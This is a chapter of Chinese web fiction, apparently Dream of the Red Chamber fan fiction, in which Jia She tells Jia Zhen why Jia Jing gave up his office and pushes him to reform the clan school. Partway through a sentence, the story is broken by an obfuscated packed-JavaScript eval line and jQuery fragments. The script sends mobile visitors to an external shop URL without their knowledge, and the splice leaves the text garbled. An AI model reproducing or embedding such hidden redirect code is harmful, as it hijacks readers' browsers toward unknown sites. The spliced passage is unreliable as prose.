“我爹让爵弃官,难道不是因为他一心向道吗?”贾珍眨眨眼,无辜地问道。
虽然他不能理解,但他一直以为,是因他祖父在琼林宴后去世,他爹没了祖父在头上压着,这才放弃官爵,随心而为去修道。莫非竟不是如此?
贾珍晃了晃脑袋,试探地问,“那是因为我爹拼死拼活考中进士,却因守孝无法做官,一气之下自暴自弃了?”
“你脑子里的奇思妙想倒是不少。”贾赦冷冷地白了他一眼。
“呃……”贾珍立刻知晓自己又猜错了,他轻咳两声,凑近贾赦,“还请赦叔告诉我其中的缘由。”
贾赦往四周看了一眼,贾珍立刻会意地将下人全都赶了出去。
又仔细检查了下各处门窗,贾珍才又眼巴巴地凑近了贾赦,“赦叔?”
贾赦跟着凑近他的耳边,压低了声音道,“你还记得,你爹考中进士,是正科还是恩科?”
“是恩科,”贾珍跟着压低了声音,“当初太子年近三十,终于得了长子,皇上龙心大悦,不仅开了恩科,还大赦天下、减免赋税,赫赫扬扬了好些时日。”
“结果恩科琼林宴没多久,你祖父、京营节度使突然就没了,你心头就没点想法?”贾赦眼神一暗,循循善诱。
“突然”二字贾赦加了重音,贾珍跟着心里一突。
他祖父贾代化任京营节度使,统管京师各大营,卫戍京师,保护皇上,乃是皇上心腹中的心腹。
他还记得,琼林宴当晚,他祖父还拉着他一起喝酒庆祝父亲高中。祖孙俩拼了一回酒,贾珍一醉到次日,醒来时贾代化正精神抖擞地下值回来!
再一想后头这些年的京城的风云,贾珍倒吸一口冷气,瞪大眼睛看贾赦,“赦叔,你是说?”
“你别忘了,当年伯父去世之后,除了你爹让爵弃官,你叔祖父、我爹,也辞了边镇统帅,回京养老了。”贾赦重重捏了捏贾珍的肩膀,没继续说贾代化,转而提起了他自己的父亲贾代善。
但这一转,贾珍心脏更是嘭嘭狂跳。他脱力地瘫在座椅上,双目无神地看着贾赦,嘴巴张了又合,合了又张,却是一个字都吐不出来。
贾赦安慰地拍了拍他的肩,“当时的情况下,你做的很好。不学武艺,不通诗书,孝期满了又寻花问柳、走马章台,一切纷扰都没有蔓延到我们家。”
他做一个纨绔竟还对家族有功?!贾珍心头只觉荒谬,回过神来他双目灼灼看向贾赦,“赦叔,前些年你自囚于府中,又时而与我们厮混几回,也是为了家族避祸?”
难怪赦叔说了一句修身养性,就能离了妻妾独居至今。看来那些好色、无能、懦弱等等传言,全是伪装啊!
他是本性如此,赦叔却能为了家族委屈自己几十年,难怪都说长辈们最是疼宠赦叔,他果真该是贾家真正的掌家人!
贾赦虽猜不到贾珍的想法,但从他的眼神便感觉不对,连忙道,“我与你的情况不同,不可混为一谈。如今我们要说的是你的事。”
“赦叔你说,”贾珍立马拍胸脯,满脸诚挚地对贾赦道,“要我做什么,我全都听你的。”
“还问我让你做什么?”贾赦气恨地抓住贾珍脑袋晃了几下,“你爹将家族交给你,这些年来从未对你指手画脚,他这么信任你,你还要来问我?!”
贾珍有些怀疑,更多的是不自信,“赦叔,就算如你所说,他出家修行确实事出有因,但也跟信任我无关吧?毕竟他连出家都是被逼无奈的,将家族交给我便更是不得已而为之了。”
贾赦长叹一声,苦口婆心地道,“你怎就是不懂你爹的心呢!就算最初不得已,若他无心放手,隐在暗处时不时传个信过来指挥你,你能不听他的吗?”
不能!贾珍狠狠摇头,他万分确信,他若是敢不听,他爹就敢直接拿下他打板子,而且是死活不论。
“所以啊,这些年来,你爹只在你前去探望之时做样子怒骂几句,那是对你放心,坚信你能带领贾家稳步走下去。”贾赦细细为他分析贾敬的心思,然后语重心长地嘱咐道,“你可不能辜负了他的信任,把族长的责权拱手相让啊!”
见贾珍满脸感动、欲言又止,贾赦连忙肃了表情,斩钉截铁道,“就算那个人是我,也不行!”
贾珍听得更感动了,他握住贾赦的手,继续诚挚道,“赦叔,我明白了,我不会让你和我爹失望的!”
他爹信任他,他赦叔又何尝不是信他爱护他?这不刚发现他的错漏,便来为他排忧解难,更是着意解开他的心结,调和他父子二人的情谊。
如今他只流露出一丁点让权的念头,贾赦便毫不犹豫地彻底斩断苗头。这桩桩件件,如何不让他动容?
他深吸一口气,气势昂扬道,“赦叔,我这就去把塾师们安排好。”
“好,你去吧。”贾赦用充满鼓励的眼神送他开门出去,自己也不经意地跟在了他身后。
贾珍出了门,问得塾师们已经到齐,便径直往他们所在的屋子而去。
进门之前,他便收敛了身上的气势,摆出了温文尔雅的姿态。进门之后对屋中人十分礼遇,先坦言了家塾的困境,再诚恳有加地请他们帮忙考校考校学生。
这些塾师并未进入京中各家族的家塾族学或书院,虽说在京中有些名气,实则身上的功名也顶多不过是举人,对宁国府是十分敬畏的。也正因此,吴华昨日送去了帖子,他们今日一早便到了。
此时得贾珍礼遇,塾师们受宠若惊之余,也欣然接受了贾珍的请托。前往早便安排出来的屋子,分别考校一个个贾家家塾的学生。
“你方才的模样,可一点都不像你之前所说的,对文人发怵。”贾赦来到贾珍身侧,淡淡道。
贾珍身形微颤,转身就拽住了贾赦的胳膊,惊喜地连声问道,“赦叔,我做到了是不是?我没给你和我爹丢脸对不对?”
贾赦反手拽住
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272524|135759||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
贾珍,稳住他的身形,看着他的眼睛重重点头,肯定地答道,“对。你方才做得很好。以后一定能做得更好。”
贾珍开心地笑起来,得意地冲着贾赦炫耀,“赦叔,这些文人也没什么厉害的嘛!连我爹的一星半点都比不上!”
他爹都那么信任他,这些文人定然更会推崇他,这点小事不就手到擒来了?
“你说的对。”贾赦毫不吝啬地给与他肯定。
嗯,很不错,从小事做起,一点点成长为一个合格的族长。然后就把贾家宗族的问题全交给贾珍处理,他的逍遥日子也就能更长久了。
满意地盘算完,贾赦双手背在身后,冲着贾珍笑,“他们考校学生一时半会完不了,倒是族人们应该有人到了,你往祠堂那边去看一看吧。”
“赦叔与我同去?”贾珍笑着邀请。
贾赦果断摇头,“我就不必了,等这边考校完了,我再与你一起过去。”
知晓贾赦以往与族人们的来往不多,贾珍也不勉强他,答应下来,亲自将他请到厢房安置。
看过了奉上的香茶果品,又叮嘱了下人们小心伺候,贾珍才笑着与贾赦告辞,自己往祠堂去。
向马广平提了一句留心一下祠堂的动静,贾赦便没再多理会那边,只悠闲自在地吃吃喝喝,时不时派了核桃去听听塾师们考校的情况来解闷。
嗯,背书挺快,就是释义不通;下笔有力,但是不成形体;脑子活络,却是规矩松散……
贾家学生们的好处不少,奈何每一个都有瑕疵,听得本欲解闷的贾赦越发胸闷,连吃吃喝喝都没了兴致。
好容易捱到塾师们考校完毕,贾珍也从祠堂回来,贾赦忍不住前去旁听塾师们的评价。
没有核桃向他转述的那么直白,塾师们的遣词用句十分委婉,但对学生们的评价却也半点不含糊,好的坏的都说的明明白白。
最后,对于贾珍让他们有看中的收下当学生,塾师们尽皆婉拒了。
他们是这样回复的,“非是我等看不上这些学生,只是他们情况特殊,若被我等收下,必得额外用心方才不致误了天赋。”
“偏偏我等塾中早有学生,不患寡而患不均,新学生成了特例,老学生难免不忿。一个不慎,便容易弄巧成拙,两败俱伤。”
“还不如让学生们继续留在家塾,另选了德才兼备的塾师,定下规矩,改换方法,重新教学,许是更容易将他们全都引到正道上来。”
话说得隐晦,实则在在指出了原本塾师的拙劣。贾珍在心头狠骂了一通贾代儒后,温言谢过了在场的塾师们,请他们荐了几位合适的先生后,便一一送上礼物,派人将他们好生送了回去。
等塾师们一走,贾珍的脸立刻就黑了,见到从暗处现身的贾赦,也没好转半点。
他忍不住诉苦,“赦叔啊!幸亏有你发现了家塾的不对,否则我们这一族,都要被贾代儒那个狗东西给坑死了!”